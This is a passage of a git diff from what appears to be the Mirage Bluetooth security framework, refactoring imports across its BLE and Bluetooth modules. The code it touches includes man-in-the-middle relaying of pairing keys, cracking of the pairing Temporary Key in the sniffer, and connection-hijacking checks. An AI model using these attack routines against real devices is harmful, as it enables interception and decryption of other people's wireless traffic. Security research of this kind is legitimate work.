slave ...") - self.a2sEmitter.sendp(ble.BLEIdentityInformation(irk=packet.irk)) + self.a2sEmitter.sendp(BLEIdentityInformation(irk=packet.irk)) @module.scenarioSignal("onMasterSigningInformation") def masterSigningInformation(self,packet): io.info("Signing Information (from master) : csrk = "+packet.csrk.hex()) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLESigningInformation(csrk=packet.csrk)) + self.a2sEmitter.sendp(BLESigningInformation(csrk=packet.csrk)) @module.scenarioSignal("onSlaveConnectionParameterUpdateRequest") @@ -601,13 +654,13 @@ def connectionParameterUpdateRequest(self,packet): io.info("Connection Parameter Update Request (from slave) : slaveLatency = "+str(packet.slaveLatency)+" / timeoutMult = "+str(packet.timeoutMult)+" / minInterval = "+str(packet.minInterval)+" / maxInterval = "+str(packet.maxInterval)) io.info("Sending a response to slave ...") self.a2sEmitter.updateConnectionParameters(timeout=packet.timeoutMult,latency=packet.slaveLatency, minInterval=packet.minInterval,maxInterval=packet.maxInterval,minCe=0,maxCe=0) - self.a2sEmitter.sendp(ble.BLEConnectionParameterUpdateResponse( + self.a2sEmitter.sendp(BLEConnectionParameterUpdateResponse( l2capCmdId = packet.l2capCmdId, moveResult=0 )) if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEConnectionParameterUpdateRequest( + self.a2mEmitter.sendp(BLEConnectionParameterUpdateRequest( l2capCmdId = packet.l2capCmdId,timeoutMult=packet.timeoutMult, slaveLatency=packet.slaveLatency, minInterval=packet.minInterval, maxInterval=packet.maxInterval)) diff --git a/mirage/modules/ble_monitor.py b/mirage/modules/ble_monitor.py index a1b9823..6cb8634 100644 --- a/mirage/modules/ble_monitor.py +++ b/mirage/modules/ble_monitor.py @@ -1,5 +1,6 @@ -from mirage.libs import io,ble,utils from mirage.core import module +from mirage.libs import io, utils + class ble_monitor(module.WirelessModule): def init(self): @@ -11,7 +12,7 @@ def init(self): "INTERFACE":"adb0", "SCENARIO":"", "TIME":"" - } + } def checkMonitoringCapabilities(self): return self.receiver.hasCapabilities("HCI_MONITORING") diff --git a/mirage/modules/ble_pair.py b/mirage/modules/ble_pair.py index 65a218b..91b116a 100644 --- a/mirage/modules/ble_pair.py +++ b/mirage/modules/ble_pair.py @@ -1,6 +1,36 @@ -from mirage.libs import io,ble,utils +import os + from mirage.core import module -from os import urandom +from mirage.libs import io, utils +from mirage.libs.ble_utils.constants import SM_ERR_AUTH_REQUIREMENTS, \ + SM_ERR_BREDR_PAIRING_IN_PROGRESS, \ + SM_ERR_COMMAND_NOT_SUPPORTED, \ + SM_ERR_CONFIRM_VALUE_FAILED, \ + SM_ERR_CROSS_TRANSPORT_KEY, \ + SM_ERR_DHKEY_CHECK_FAILED, \ + SM_ERR_ENCRYPTION_KEY_SIZE, \ + SM_ERR_INVALID_PARAMETERS, \ + SM_ERR_NUMERIC_COMPARISON_FAILED, \ + SM_ERR_OOB_NOT_AVAILABLE, \ + SM_ERR_PAIRING_NOT_SUPPORTED, \ + SM_ERR_PASSKEY_ENTRY_FAILED, \ + SM_ERR_REPEATED_ATTEMPTS, \ + SM_ERR_UNSPECIFIED_REASON +from mirage.libs.ble_utils.crypto import BLECrypto +from mirage.libs.ble_utils.dissectors import AuthReqFlag, InputOutputCapability, KeyDistributionFlag +from mirage.libs.ble_utils.packets import BLEEncryptionInformation, \ + BLEIdentityAddressInformation, \ + BLEIdentityInformation, \ + BLELongTermKeyRequestReply, \ + BLEMasterIdentification, \ + BLEPairingConfirm, \ + BLEPairingRandom, \ + BLEPairingRequest, \ + BLEPairingResponse, \ + BLESecurityRequest, \ + BLESigningInformation +from mirage.libs.bt_utils.assigned_numbers import PairingMethods + class ble_pair(module.WirelessModule): def init(self): @@ -110,14 +140,14 @@ def pairingMethodSelection(self): elif self.responderInputOutputCapability.data[0] == 0x04: responder = "KeyboardDisplay" - pairingMethod = ble.PairingMethods.getPairingMethod( secureConnections=self.secureConnections, + pairingMethod = PairingMethods.getPairingMethod( secureConnections=self.secureConnections, initiatorInputOutputCapability=initiator, responderInputOutputCapability = responder) - if pairingMethod == ble.PairingMethods.JUST_WORKS: + if pairingMethod == PairingMethods.JUST_WORKS: self.pairingMethod = "JustWorks" - elif pairingMethod == ble.PairingMethods.PASSKEY_ENTRY: + elif pairingMethod == PairingMethods.PASSKEY_ENTRY: self.pairingMethod = "PasskeyEntry" - elif pairingMethod == ble.PairingMethods.NUMERIC_COMPARISON: + elif pairingMethod == PairingMethods.NUMERIC_COMPARISON: self.pairingMethod = "NumericComparison" else: self.pairingMethod = "JustWorks" @@ -147,14 +177,14 @@ def slavePairingResponse(self,pkt): self.pairingResponse = pkt self.pRes = self.pairingResponse.payload[::-1] - self.responderAuthReq = ble.AuthReqFlag(data = bytes([pkt.authentication])) - self.responderInputOutputCapability = ble.InputOutputCapability(data = bytes([pkt.inputOutputCapability])) - self.responderKeyDistribution = ble.KeyDistributionFlag(data=bytes([pkt.responderKeyDistribution])) + self.responderAuthReq = AuthReqFlag(data = bytes([pkt.authentication])) + self.responderInputOutputCapability = InputOutputCapability(data = bytes([pkt.inputOutputCapability])) + self.responderKeyDistribution = KeyDistributionFlag(data=bytes([pkt.responderKeyDistribution])) pairingMethod = self.pairingMethodSelection() io.success("Pairing Method selected : "+self.pairingMethod) - self.mRand = ble.BLECrypto.generateRandom() + self.mRand = BLECrypto.generateRandom() io.success("Generating random : "+self.mRand.hex()) if pairingMethod == "JustWorks": @@ -168,7 +198,7 @@ def slavePairingResponse(self,pkt): self.tk = self.pinToTemporaryKey(pinCode) io.success("Generating Temporary Key : "+self.tk.hex()) - self.mConfirm = ble.BLECrypto.c1( self.tk, + self.mConfirm = BLECrypto.c1( self.tk, self.mRand[::-1], self.pReq, self.pRes, @@ -177,21 +207,21 @@ def slavePairingResponse(self,pkt): self.responderAddressType, self.responderAddress) io.success("Generating MConfirm : "+self.mConfirm.hex()) - confirmPacket = ble.BLEPairingConfirm(confirm=self.mConfirm[::-1]) + confirmPacket = BLEPairingConfirm(confirm=self.mConfirm[::-1]) confirmPacket.show() self.emitter.sendp(confirmPacket) def slavePairingConfirm(self,pkt): pkt.show() self.sConfirm = pkt.confirm[::-1] - response = ble.BLEPairingRandom(random=self.mRand) + response = BLEPairingRandom(random=self.mRand) response.show() self.emitter.sendp(response) def slavePairingRandom(self,pkt): pkt.show() self.sRand = pkt.random - sConfirm = ble.BLECrypto.c1( self.tk, + sConfirm = BLECrypto.c1( self.tk, self.sRand[::-1], self.pReq, self.pRes, @@ -201,7 +231,7 @@ def slavePairingRandom(self,pkt): self.responderAddress) if self.sConfirm == sConfirm: io.success("Confirm Value correct !") - self.stk = ble.BLECrypto.s1(self.tk,self.mRand[::-1], self.sRand[::-1]) + self.stk = BLECrypto.s1(self.tk,self.mRand[::-1], self.sRand[::-1]) io.success("Generating Short Term Key (STK): "+self.stk.hex()) self.encrypted = self.emitter.encryptLink(ltk=self.stk[::-1]) if self.encrypted: @@ -214,35 +244,35 @@ def slavePairingRandom(self,pkt): def pairingFailed(self,pkt): - if pkt.reason == ble.SM_ERR_PASSKEY_ENTRY_FAILED: + if pkt.reason == SM_ERR_PASSKEY_ENTRY_FAILED: io.fail("Reason : Passkey Entry Failed") - elif pkt.reason == ble.SM_ERR_OOB_NOT_AVAILABLE: + elif pkt.reason == SM_ERR_OOB_NOT_AVAILABLE: io.fail("Reason : Out of Band not available") - elif pkt.reason == ble.SM_ERR_AUTH_REQUIREMENTS: + elif pkt.reason == SM_ERR_AUTH_REQUIREMENTS: io.fail("Reason : Authentication requirements") - elif pkt.reason == ble.SM_ERR_CONFIRM_VALUE_FAILED: + elif pkt.reason == SM_ERR_CONFIRM_VALUE_FAILED: io.fail("Reason : Confirm Value failed") - elif pkt.reason == ble.SM_ERR_PAIRING_NOT_SUPPORTED: + elif pkt.reason == SM_ERR_PAIRING_NOT_SUPPORTED: io.fail("Reason : Pairing not supported") - elif pkt.reason == ble.SM_ERR_OOB_NOT_AVAILABLE: + elif pkt.reason == SM_ERR_OOB_NOT_AVAILABLE: io.fail("Reason : Out of Band not available") - elif pkt.reason == ble.SM_ERR_ENCRYPTION_KEY_SIZE: + elif pkt.reason == SM_ERR_ENCRYPTION_KEY_SIZE: io.fail("Reason : Encryption key size") - elif pkt.reason == ble.SM_ERR_COMMAND_NOT_SUPPORTED: + elif pkt.reason == SM_ERR_COMMAND_NOT_SUPPORTED: io.fail("Reason : Command not supported") - elif pkt.reason == ble.SM_ERR_UNSPECIFIED_REASON: + elif pkt.reason == SM_ERR_UNSPECIFIED_REASON: io.fail("Reason : Unspecified reason") - elif pkt.reason == ble.SM_ERR_REPEATED_ATTEMPTS: + elif pkt.reason == SM_ERR_REPEATED_ATTEMPTS: io.fail("Reason : Repeated Attempts") - elif pkt.reason == ble.SM_ERR_INVALID_PARAMETERS: + elif pkt.reason == SM_ERR_INVALID_PARAMETERS: io.fail("Reason : Invalid Parameters") - elif pkt.reason == ble.SM_ERR_DHKEY_CHECK_FAILED: + elif pkt.reason == SM_ERR_DHKEY_CHECK_FAILED: io.fail("Reason : DHKey Check failed") - elif pkt.reason == ble.SM_ERR_NUMERIC_COMPARISON_FAILED: + elif pkt.reason == SM_ERR_NUMERIC_COMPARISON_FAILED: io.fail("Reason : Numeric Comparison failed") - elif pkt.reason == ble.SM_ERR_BREDR_PAIRING_IN_PROGRESS: + elif pkt.reason == SM_ERR_BREDR_PAIRING_IN_PROGRESS: io.fail("Reason : BR/EDR Pairing in progress") - elif pkt.reason == ble.SM_ERR_CROSS_TRANSPORT_KEY: + elif pkt.reason == SM_ERR_CROSS_TRANSPORT_KEY: io.fail("Reason : Cross-transport Key Derivation/Generation not allowed") else: io.fail("Reason : unknown") @@ -326,9 +356,9 @@ def masterPairingRequest(self,pkt): self.pairingRequest = pkt self.pReq = self.pairingRequest.payload[::-1] - self.initiatorAuthReq = ble.AuthReqFlag(data = bytes([pkt.authentication])) - self.initiatorInputOutputCapability = ble.InputOutputCapability(data = bytes([pkt.inputOutputCapability])) - self.initiatorKeyDistribution = ble.KeyDistributionFlag(data=bytes([pkt.initiatorKeyDistribution])) + self.initiatorAuthReq = AuthReqFlag(data = bytes([pkt.authentication])) + self.initiatorInputOutputCapability = InputOutputCapability(data = bytes([pkt.inputOutputCapability])) + self.initiatorKeyDistribution = KeyDistributionFlag(data=bytes([pkt.initiatorKeyDistribution])) keyboard = utils.booleanArg(self.args["KEYBOARD"]) @@ -347,11 +377,11 @@ def masterPairingRequest(self,pkt): signKey = self.args["CSRK"] != "" - self.responderInputOutputCapability = ble.InputOutputCapability(keyboard=keyboard,display=display,yesno=yesno) - self.responderAuthReq = ble.AuthReqFlag(ct2=ct2,mitm=mitm,bonding=bonding,secureConnections=secureConnections,keypress=keyPress) - self.responderKeyDistribution = ble.KeyDistributionFlag(linkKey=linkKey,encKey=encKey,idKey=idKey,signKey=signKey) + self.responderInputOutputCapability = InputOutputCapability(keyboard=keyboard,display=display,yesno=yesno) + self.responderAuthReq = AuthReqFlag(ct2=ct2,mitm=mitm,bonding=bonding,secureConnections=secureConnections,keypress=keyPress) + self.responderKeyDistribution = KeyDistributionFlag(linkKey=linkKey,encKey=encKey,idKey=idKey,signKey=signKey) - self.pairingResponse = ble.BLEPairingResponse( + self.pairingResponse = BLEPairingResponse( authentication=self.responderAuthReq.data[0], inputOutputCapability=self.responderInputOutputCapability.data[0], initiatorKeyDistribution=self.responderKeyDistribution.data[0], @@ -367,7 +397,7 @@ def masterPairingConfirm(self,pkt): pkt.show() self.mConfirm = pkt.confirm[::-1] - self.sRand = ble.BLECrypto.generateRandom() + self.sRand = BLECrypto.generateRandom() io.success("Generating random : "+self.sRand.hex()) if self.pairingMethod == "JustWorks": @@ -383,7 +413,7 @@ def masterPairingConfirm(self,pkt): io.success("Generating Temporary Key : "+self.tk.hex()) - self.sConfirm = ble.BLECrypto.c1( self.tk, + self.sConfirm = BLECrypto.c1( self.tk, self.sRand[::-1], self.pReq, self.pRes, @@ -393,7 +423,7 @@ def masterPairingConfirm(self,pkt): self.responderAddress) io.success("Generating SConfirm : "+self.sConfirm.hex()) - confirmPacket = ble.BLEPairingConfirm(confirm=self.sConfirm[::-1]) + confirmPacket = BLEPairingConfirm(confirm=self.sConfirm[::-1]) confirmPacket.show() self.emitter.sendp(confirmPacket) @@ -401,10 +431,10 @@ def masterPairingRandom(self,pkt): pkt.show() self.mRand = pkt.random - response = ble.BLEPairingRandom(random=self.sRand) + response = BLEPairingRandom(random=self.sRand) self.emitter.sendp(response) - mConfirm = ble.BLECrypto.c1( self.tk, + mConfirm = BLECrypto.c1( self.tk, self.mRand[::-1], self.pReq, self.pRes, @@ -414,7 +444,7 @@ def masterPairingRandom(self,pkt): self.responderAddress) if self.mConfirm == mConfirm: io.success("Confirm Value correct !") - self.stk = ble.BLECrypto.s1(self.tk,self.mRand[::-1], self.sRand[::-1]) + self.stk = BLECrypto.s1(self.tk,self.mRand[::-1], self.sRand[::-1]) io.success("Generating Short Term Key (STK): "+self.stk.hex()) else: io.fail("Confirm value failed ! Terminating ...") @@ -435,16 +465,16 @@ def keyDistribution(self,type="initiator"): keyDistribution = self.responderKeyDistribution if keyDistribution.encKey: io.info("Sending LTK...") - self.emitter.sendp(ble.BLEEncryptionInformation(ltk=bytes.fromhex(self.args["LTK"])[::-1])) - self.emitter.sendp(ble.BLEMasterIdentification( + self.emitter.sendp(BLEEncryptionInformation(ltk=bytes.fromhex(self.args["LTK"])[::-1])) + self.emitter.sendp(BLEMasterIdentification( ediv=utils.integerArg(self.args["EDIV"]), rand=bytes.fromhex(self.args["RAND"]) )) io.success("Sent !") if keyDistribution.idKey: io.info("Sending IRK...") - self.emitter.sendp(ble.BLEIdentityInformation(irk=bytes.fromhex(self.args["IRK"])[::-1])) - self.emitter.sendp(ble.BLEIdentityAddressInformation( + self.emitter.sendp(BLEIdentityInformation(irk=bytes.fromhex(self.args["IRK"])[::-1])) + self.emitter.sendp(BLEIdentityAddressInformation( address=utils.addressArg(self.args["ADDR"]), type=self.args["ADDR_TYPE"].lower() )) @@ -452,20 +482,20 @@ def keyDistribution(self,type="initiator"): if keyDistribution.signKey: io.info("Sending CSRK...") - self.emitter.sendp(ble.BLESigningInformation(csrk=bytes.fromhex(self.args["CSRK"])[::-1])) + self.emitter.sendp(BLESigningInformation(csrk=bytes.fromhex(self.args["CSRK"])[::-1])) io.success("Sent !") def masterLongTermKeyRequest(self,pkt): pkt.show() if pkt.ediv == 0 and pkt.rand == b"\x00"*8 and self.stk != b"\x00" * 8: - self.emitter.sendp(ble.BLELongTermKeyRequestReply(positive=True, ltk=self.stk[::-1])) + self.emitter.sendp(BLELongTermKeyRequestReply(positive=True, ltk=self.stk[::-1])) self.keyDistribution(type="responder") elif pkt.ediv == utils.integerArg(self.args["EDIV"]) and pkt.rand == bytes.fromhex(self.args["RAND"]): - self.emitter.sendp(ble.BLELongTermKeyRequestReply(positive=True, ltk=bytes.fromhex(self.args["LTK"])[::-1])) + self.emitter.sendp(BLELongTermKeyRequestReply(positive=True, ltk=bytes.fromhex(self.args["LTK"])[::-1])) else: - self.emitter.sendp(ble.BLELongTermKeyRequestReply(positive=False)) + self.emitter.sendp(BLELongTermKeyRequestReply(positive=False)) def run(self): self.finished = False @@ -495,11 +525,11 @@ def run(self): idKey = self.args["IRK"] != "" and self.args["ADDR"] != "" and self.args["ADDR_TYPE"] signKey = self.args["CSRK"] != "" - self.initiatorInputOutputCapability = ble.InputOutputCapability(keyboard=keyboard,display=display,yesno=yesno) - self.initiatorAuthReq = ble.AuthReqFlag(ct2=ct2,mitm=mitm,bonding=bonding,secureConnections=secureConnections,keypress=keyPress) - self.initiatorKeyDistribution = ble.KeyDistributionFlag(linkKey=linkKey,encKey=encKey,idKey=idKey,signKey=signKey) + self.initiatorInputOutputCapability = InputOutputCapability(keyboard=keyboard,display=display,yesno=yesno) + self.initiatorAuthReq = AuthReqFlag(ct2=ct2,mitm=mitm,bonding=bonding,secureConnections=secureConnections,keypress=keyPress) + self.initiatorKeyDistribution = KeyDistributionFlag(linkKey=linkKey,encKey=encKey,idKey=idKey,signKey=signKey) - self.pairingRequest = ble.BLEPairingRequest( + self.pairingRequest = BLEPairingRequest( authentication=self.initiatorAuthReq.data[0], inputOutputCapability=self.initiatorInputOutputCapability.data[0], initiatorKeyDistribution=self.initiatorKeyDistribution.data[0], @@ -550,10 +580,10 @@ def run(self): secureConnections = utils.booleanArg(self.args["SECURE_CONNECTIONS"]) keyPress = utils.booleanArg(self.args["KEYPRESS"]) - authReq = ble.AuthReqFlag(ct2=ct2,mitm=mitm,bonding=bonding,secureConnections=secureConnections,keypress=keyPress) + authReq = AuthReqFlag(ct2=ct2,mitm=mitm,bonding=bonding,secureConnections=secureConnections,keypress=keyPress) if utils.booleanArg(self.args["ACTIVE"]): - securityRequest = ble.BLESecurityRequest(authentication=authReq.data[0]) + securityRequest = BLESecurityRequest(authentication=authReq.data[0]) securityRequest.show() self.emitter.sendp(securityRequest) diff --git a/mirage/modules/ble_scan.py b/mirage/modules/ble_scan.py index 214f729..a60f9bc 100644 --- a/mirage/modules/ble_scan.py +++ b/mirage/modules/ble_scan.py @@ -1,6 +1,9 @@ import queue -from mirage.libs import io,ble,utils + from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.bt_utils.assigned_numbers import AssignedNumbers + class ble_scan(module.WirelessModule): def init(self): @@ -30,11 +33,11 @@ def scan(self,packet): if hasattr(part,"local_name"): localName = part.local_name.decode('ascii','ignore').replace("\0", "") elif hasattr(part, "company_id"): - company = ble.AssignedNumbers.getCompanyByNumber(int(part.company_id)) + company = AssignedNumbers.getCompanyByNumber(int(part.company_id)) if company is None: company = "" elif hasattr(part,"flags"): - flags = ble.AssignedNumbers.getStringsbyFlags(part.flags) + flags = AssignedNumbers.getStringsbyFlags(part.flags) #print ({"address":address,"name":localName,"company":company, "flags":flags,"data":data}) self.devicesQueue.put({"address":address,"name":localName,"company":company, "flags":flags,"data":data, "pType":packet.type}) diff --git a/mirage/modules/ble_slave.py b/mirage/modules/ble_slave.py index ae3d922..f913374 100644 --- a/mirage/modules/ble_slave.py +++ b/mirage/modules/ble_slave.py @@ -1,6 +1,21 @@ -import configparser,os.path,subprocess -from mirage.libs import io,utils,ble -from mirage.core import module,interpreter +import configparser +import os.path +import subprocess + +from mirage.core import interpreter, module +from mirage.libs import io, utils +from mirage.libs.ble_utils.att_server import GATT_Server +from mirage.libs.ble_utils.packets import BLEDisconnect,\ + BLEErrorResponse,\ + BLEExchangeMTUResponse,\ + BLEFindInformationResponse,\ + BLEHandleValueNotification,\ + BLEReadBlobResponse,\ + BLEReadByGroupTypeResponse,\ + BLEReadByTypeResponse,\ + BLEReadResponse,\ + BLEWriteResponse + class ble_slave(module.WirelessModule,interpreter.Interpreter): def init(self): @@ -66,7 +81,7 @@ def show(self,what:["attributes","services","characteristics","all","gatt"]="att def disconnect(self): if self.emitter.isConnected(): - self.emitter.sendp(ble.BLEDisconnect()) + self.emitter.sendp(BLEDisconnect()) self.updatePrompt() def notification(self,handle,value): @@ -77,7 +92,7 @@ def notification(self,handle,value): else: value = bytes(value,"ascii") - self.emitter.sendp(ble.BLEHandleValueNotification(handle=handle, value=value)) + self.emitter.sendp(BLEHandleValueNotification(handle=handle, value=value)) except: io.fail("An error happened during notification emission !") @@ -86,7 +101,7 @@ def exit(self): def initializeServer(self): - self.server = ble.GATT_Server() + self.server = GATT_Server() def identifyLayer(self,filename): config = configparser.ConfigParser() @@ -145,10 +160,10 @@ def readByTypeRequest(self,packet): " / endHandle = "+hex(packet.endHandle)+" / uuid = "+hex(packet.uuid)) (success,response) = self.server.readByType(packet.startHandle,packet.endHandle,packet.uuid) if success: - io.displayPacket(ble.BLEReadByTypeResponse(attributes=response)) - self.emitter.sendp(ble.BLEReadByTypeResponse(attributes=response)) + io.displayPacket(BLEReadByTypeResponse(attributes=response)) + self.emitter.sendp(BLEReadByTypeResponse(attributes=response)) else: - self.emitter.sendp(ble.BLEErrorResponse(request=0x08,ecode=response, handle=packet.startHandle)) + self.emitter.sendp(BLEErrorResponse(request=0x08,ecode=response, handle=packet.startHandle)) @module.scenarioSignal("onMasterFindInformationRequest") def findInformationRequest(self,packet): @@ -156,10 +171,10 @@ def findInformationRequest(self,packet): " / endHandle = "+hex(packet.endHandle)) (success,response) = self.server.findInformation(packet.startHandle,packet.endHandle) if success: - io.displayPacket(ble.BLEFindInformationResponse(attributes=response)) - self.emitter.sendp(ble.BLEFindInformationResponse(attributes=response)) + io.displayPacket(BLEFindInformationResponse(attributes=response)) + self.emitter.sendp(BLEFindInformationResponse(attributes=response)) else: - self.emitter.sendp(ble.BLEErrorResponse(request=0x04,ecode=response,handle=packet.startHandle)) + self.emitter.sendp(BLEErrorResponse(request=0x04,ecode=response,handle=packet.startHandle)) @module.scenarioSignal("onMasterReadByGroupTypeRequest") def readByGroupTypeRequest(self,packet): @@ -167,19 +182,19 @@ def readByGroupTypeRequest(self,packet): " / endHandle = "+hex(packet.endHandle)+" / uuid = "+hex(packet.uuid)) (success,response) = self.server.readByGroupType(packet.startHandle, packet.endHandle, packet.uuid) if success: - io.displayPacket(ble.BLEReadByGroupTypeResponse(attributes=response)) - self.emitter.sendp(ble.BLEReadByGroupTypeResponse(attributes=response)) + io.displayPacket(BLEReadByGroupTypeResponse(attributes=response)) + self.emitter.sendp(BLEReadByGroupTypeResponse(attributes=response)) else: - self.emitter.sendp(ble.BLEErrorResponse(request=0x10,ecode=response,handle=packet.startHandle)) + self.emitter.sendp(BLEErrorResponse(request=0x10,ecode=response,handle=packet.startHandle)) @module.scenarioSignal("onMasterReadRequest") def readRequest(self,packet): io.info("Read Request : handle = "+hex(packet.handle)) (success,response) = self.server.read(packet.handle) if success: - self.emitter.sendp(ble.BLEReadResponse(value=response)) + self.emitter.sendp(BLEReadResponse(value=response)) else: - self.emitter.sendp(ble.BLEErrorResponse(request=0x0a, ecode=response,handle=packet.handle)) + self.emitter.sendp(BLEErrorResponse(request=0x0a, ecode=response,handle=packet.handle)) @module.scenarioSignal("onMasterReadBlobRequest") @@ -187,9 +202,9 @@ def readBlobRequest(self,packet): io.info("Read Blob Request : handle = "+hex(packet.handle) + " / offset = "+str(packet.offset)) (success,response) = self.server.readBlob(packet.handle,packet.offset) if success: - self.emitter.sendp(ble.BLEReadBlobResponse(value=response)) + self.emitter.sendp(BLEReadBlobResponse(value=response)) else: - self.emitter.sendp(ble.BLEErrorResponse(request=0x0a, ecode=response,handle=packet.handle)) + self.emitter.sendp(BLEErrorResponse(request=0x0a, ecode=response,handle=packet.handle)) @module.scenarioSignal("onMasterWriteRequest") @@ -197,9 +212,9 @@ def writeRequest(self,packet): io.info("Write Request : handle = "+hex(packet.handle)+" / value = "+packet.value.hex()) (success,code) = self.server.writeRequest(packet.handle,packet.value) if success: - self.emitter.sendp(ble.BLEWriteResponse()) + self.emitter.sendp(BLEWriteResponse()) else: - self.emitter.sendp(ble.BLEErrorResponse(request=0x12,ecode=code,handle=packet.handle)) + self.emitter.sendp(BLEErrorResponse(request=0x12,ecode=code,handle=packet.handle)) @module.scenarioSignal("onMasterWriteCommand") def writeCommand(self,packet): @@ -210,7 +225,7 @@ def writeCommand(self,packet): def exchangeMTURequest(self,packet): io.info("Exchange MTU Request : mtu = "+str(packet.mtu)) self.server.setMtu(packet.mtu) - self.emitter.sendp(ble.BLEExchangeMTUResponse(mtu=packet.mtu)) + self.emitter.sendp(BLEExchangeMTUResponse(mtu=packet.mtu)) @module.scenarioSignal("onMasterConnect") def connection(self,packet): diff --git a/mirage/modules/ble_sniff.py b/mirage/modules/ble_sniff.py index e360ab8..1cad6d7 100644 --- a/mirage/modules/ble_sniff.py +++ b/mirage/modules/ble_sniff.py @@ -1,5 +1,8 @@ -from mirage.libs import io,utils,ble from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.ble_utils.crypto import BLECrypto, BLELinkLayerCrypto +from mirage.libs.ble_utils.packets import BLEAdvertisement, BLEConnectRequest, BLEEmptyPDU, BLEPairingConfirm, BLEPairingRandom, BLEPairingRequest, BLEPairingResponse + class ble_sniff(module.WirelessModule): def init(self): @@ -112,18 +115,18 @@ def crackTemporaryKey(self): def show(self,packet): advMode = self.args["SNIFFING_MODE"].upper() == "advertisements".upper() - isAnAdv = isinstance(packet, ble.BLEAdvertisement) - isAnEmpty = isinstance(packet,ble.BLEEmptyPDU) + isAnAdv = isinstance(packet, BLEAdvertisement) + isAnEmpty = isinstance(packet,BLEEmptyPDU) unknownInName = "Unknown" in packet.name - isConnectReq = isinstance(packet,ble.BLEConnectRequest) - addressMatching = ( isConnectReq - and packet.addr == utils.addressArg(self.args["TARGET"]) - or self.args["TARGET"] == "" - or (hasattr(packet,"addr") and packet.addr == utils.addressArg(self.args["TARGET"]))) + isConnectReq = isinstance(packet,BLEConnectRequest) + addressMatching = (isConnectReq + and packet.addr == utils.addressArg(self.args["TARGET"]) + or self.args["TARGET"] == "" + or (hasattr(packet,"addr") and packet.addr == utils.addressArg(self.args["TARGET"]))) if ( (not advMode and (not isAnAdv or isConnectReq) and not isAnEmpty and not unknownInName) - or (advMode and isAnAdv and addressMatching) - ): + or (advMode and isAnAdv and addressMatching) + ): io.displayPacket(packet) if self.pcap is not None: self.pcap.sendp(packet) @@ -135,14 +138,14 @@ def show(self,packet): self.responderAddress = packet.dstAddr self.responderAddressType = packet.dstAddrType - if isinstance(packet, ble.BLEPairingRequest): + if isinstance(packet, BLEPairingRequest): self.pReq = packet.payload[::-1] - if isinstance(packet,ble.BLEPairingResponse): + if isinstance(packet,BLEPairingResponse): self.pRes = packet.payload[::-1] - if isinstance(packet,ble.BLEPairingConfirm) and self.mConfirm is None: + if isinstance(packet,BLEPairingConfirm) and self.mConfirm is None: self.mConfirm = packet.confirm[::-1] - if isinstance(packet,ble.BLEPairingRandom) and self.mRand is not None and self.sRand is None: + if isinstance(packet,BLEPairingRandom) and self.mRand is not None and self.sRand is None: self.sRand = packet.random[::-1] while self.temporaryKey is None and not self.failure: pass @@ -150,11 +153,11 @@ def show(self,packet): self.errorDuringCracking() else: io.info("Derivating Short Term Key ...") - self.shortTermKey = ble.BLECrypto.s1(self.temporaryKey,self.mRand,self.sRand)[::-1] + self.shortTermKey = BLECrypto.s1(self.temporaryKey,self.mRand,self.sRand)[::-1] io.success("Short Term Key found : "+ self.shortTermKey.hex()) - ble.BLELinkLayerCrypto.provideLTK(self.shortTermKey) + BLELinkLayerCrypto.provideLTK(self.shortTermKey) - if isinstance(packet,ble.BLEPairingRandom) and self.mRand is None: + if isinstance(packet,BLEPairingRandom) and self.mRand is None: self.mRand = packet.random[::-1] self.failure = not self.crackTemporaryKey() @@ -190,7 +193,7 @@ def initEmittersAndReceivers(self): interfaceb = self.args["INTERFACEB"] self.emitters.append(self.getEmitter(interface=interfaceb)) self.receivers.append(self.getReceiver(interface=interfaceb)) - + def displayConnection(self,index=0): aa = "0x{:8x}".format(self.receivers[index].getAccessAddress()) crcInit = "0x{:6x}".format(self.receivers[index].getCrcInit()) @@ -300,7 +303,7 @@ def run(self): self.initEmittersAndReceivers() if self.args["LTK"] != "": - ble.BLELinkLayerCrypto.provideLTK(bytes.fromhex(self.args["LTK"])) + BLELinkLayerCrypto.provideLTK(bytes.fromhex(self.args["LTK"])) if utils.booleanArg(self.args["HIJACKING"]) and not self.checkHijackingCapabilities(): io.fail("Interfaces provided are not able to hijack a connection.") diff --git a/mirage/modules/bt_info.py b/mirage/modules/bt_info.py index f3f67d9..8576d2b 100644 --- a/mirage/modules/bt_info.py +++ b/mirage/modules/bt_info.py @@ -1,5 +1,7 @@ -from mirage.libs import io,bt from mirage.core import module +from mirage.libs import io +from mirage.libs.bt import BluetoothEmitter + class bt_info(module.Module): def init(self): @@ -11,7 +13,7 @@ def init(self): } def run(self): - self.emitter = bt.BluetoothEmitter(interface=self.args["INTERFACE"]) + self.emitter =BluetoothEmitter(interface=self.args["INTERFACE"]) interface = self.args["INTERFACE"] address = self.emitter.getAddress() localName = self.emitter.getLocalName() diff --git a/mirage/modules/bt_scan.py b/mirage/modules/bt_scan.py index 0eb87e8..bb1c9f4 100644 --- a/mirage/modules/bt_scan.py +++ b/mirage/modules/bt_scan.py @@ -1,5 +1,8 @@ -from mirage.libs import bt,utils,io from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.bt import BluetoothEmitter, BluetoothReceiver +from mirage.libs.bt_utils.packets import BluetoothInquiry, BluetoothInquiryComplete, BluetoothInquiryScanResult + class bt_scan(module.Module): def init(self): @@ -38,17 +41,17 @@ def updateDevices(self,packet): self.displayDevices() def run(self): - self.emitter = bt.BluetoothEmitter(interface=self.args['INTERFACE']) - self.receiver = bt.BluetoothReceiver(interface=self.args['INTERFACE']) + self.emitter = BluetoothEmitter(interface=self.args['INTERFACE']) + self.receiver = BluetoothReceiver(interface=self.args['INTERFACE']) time = utils.integerArg(self.args['TIME']) - self.emitter.sendp(bt.BluetoothInquiry(inquiryLength=time)) + self.emitter.sendp(BluetoothInquiry(inquiryLength=time)) scanning = True while scanning: packet = self.receiver.next() - if isinstance(packet,bt.BluetoothInquiryComplete): + if isinstance(packet,BluetoothInquiryComplete): scanning = False - elif isinstance(packet,bt.BluetoothInquiryScanResult): + elif isinstance(packet,BluetoothInquiryScanResult): self.updateDevices(packet) return self.ok() diff --git a/mirage/modules/esb_info.py b/mirage/modules/esb_info.py index bf7f01d..a38311d 100644 --- a/mirage/modules/esb_info.py +++ b/mirage/modules/esb_info.py @@ -1,5 +1,6 @@ -from mirage.libs import io,esb,utils from mirage.core import module +from mirage.libs import io, utils + class 